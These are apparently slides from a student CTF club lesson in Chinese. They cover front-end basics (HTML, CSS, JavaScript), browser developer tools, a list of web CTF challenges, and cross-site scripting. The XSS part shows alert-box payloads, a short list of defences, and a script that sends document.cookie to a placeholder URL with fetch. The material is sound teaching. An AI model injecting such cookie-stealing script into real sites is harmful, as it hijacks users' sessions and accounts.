CTF-開發者工具&XSS
講師:堇姬 @ Izcc-ctf
2023.11.17
堇姬Naup(網管/美宣)
成電二年級/幽夜工作室繪師/台灣好厲駭學員
CKCSC36
DC : naup_sumire_hime
IG : ckcsc36th_naup
涉獵C++、C、python、遊戲(tkinter、pygame)、資安(Web、Crypto)、AI、flask、html/css/js、 PHP、DC bot。
喜歡看輕小說、動畫、Vtuber、打音遊,也喜歡看百合,就是一個長年混跡ACG的宅女。
夢想是可以成為很電的駭客跟繪師,也想自己寫出一個AI老婆。
本日重點
-
前端三件套
-
開發者工具
-
Web題目實作
-
XSS
前端
一種使用者可以直接看到,並互動的頁面
你看到的這些就是前端頁面
F12可以查看前端代碼
HTML
基本架構
<!DOCTYPE html> ->聲明類型為html文件
<html>
<head>
包括各種基本資料、聲明、引入連結
</head>
<body>
網頁主體
</body>
</html>
HTML 文字相關
<h1> Furina is so cute</h1>
<h2> Furina is so cute</h2>
<h3> Furina is so cute</h3>
<h4> Furina is so cute</h4>
<h5> Furina is so cute</h5>
<h6> Furina is so cute</h6>
h1最大、h6最小
-
標題
-
段落
<p>123</p>
-
換行
<br>
連結
圖片
<a href="https://linktr.ee/naupjjin">Naup</a>
<img src="mywife_Furina.jpg">
<!-- \Furina/\Furina/\Furina/ -->
註解
CSS
<標籤 style="屬性名稱:屬性內容"><標籤>
color:pink
font-weight:normal
font-size:16px
ex:
-
用 ; 區分開
選擇器
-
類別(元素)選擇器
h1 { color: #333333; }
-
id選擇器
#title { text-align: center; }
-
class選擇器
.text-green { color: #32b16c; }
-
hidden
<div hidden>This is a hidden element.</div>
<input type="text" id="username" name="username" required>
-
required
Javascript
-
變數宣告
let 變數名稱
-
輸出
console.log()
const 常數名稱=資料
-
常數宣告
-
輸入
prompt("輸入一個數字","預設值")
-
判斷式
if(){
}
else if(){
}
else{
}
-
while迴圈
while(){
}
-
for迴圈
for(初始;判斷;執行){
}
for(let n=0;n<5;n++){
console.log(n);
}
let n=0;
while(n<5){
console.log(n);
n++;
}
-
break
-
continue
跳出迴圈
跳出迴圈
進到下一圈
let n=0;
while(n<3){
n++;
if(n==1){
break;
}
console.log(n);
}
let n=0;
while(n<3){
n++;
if(n==1){
continue;
}
console.log(n);
}
function 函式名稱(參數名稱列表){
函式內部的程式區塊
}
-
函式建立
-
呼叫
函式名稱(參數資料列表)
-
return
function f(n1,n2){
let sum=n1+n2
return sum;
}
let aaaa=f(3,4);
console.log(aaaa);
F12
- 元素/elements 存放著這個網站的html
- 來源/source 存放著這個網站的所有資源(html、css、javascript)
- 網路/network 記錄這個網站所發出的request
- 應用程式/application 存放這個網站的一些資料,包括cookie、localstorage等
題目
-
Inspect HTML(picoCTF)
-
I LOVE PURE STATION(CKCSC CTF)
-
includes(picoCTF)
-
Search source(picoCTF)
-
Local Authority(picoCTF)
-
Power Cookie(picoCTF)
-
Pure_Station_cookie_is_yummy(CKCSC CTF)
-
HTML(LoTuX CTF)
XSS
跨站腳本攻擊 (Cross-Site Scripting)
可以使得任意 JavaScript 程式碼插入到網站頁面中執行以達到攻擊目的
服務伺服器端程式對輸入和輸出之控制不夠嚴謹,以至於腳本輸入後再輸出到前端時被瀏覽器解析成程式碼
反射型 XSS (Reflected)
將惡意程式會藏在網址列裡,放在 GET 參數傳遞
http://www.example.com/upload.asp?id=<script>alert(1);</script>
DOM 型 XSS
把物件嵌入網頁程式碼
<img src=# onerror=”alert(123)”>
儲存型 XSS ( Stored )
將 Javascript 儲存在伺服器的資料庫中
將 Javascript 注入留言板,當下一位 User 瀏覽網頁時,網頁會載入留言板的 Javascript
<script>alert(1);</script>
-
竊取 Cookie
-
跳轉惡意網站
-
鍵盤側錄
-
過濾輸入
-
將輸入的東西編碼
-
輸入上限設定
防範
<script>
var flag = document.cookie;
fetch("{url}?cookie="+flag)
</script>
CTF-WEB2
By naup96321
CTF-WEB2
- 85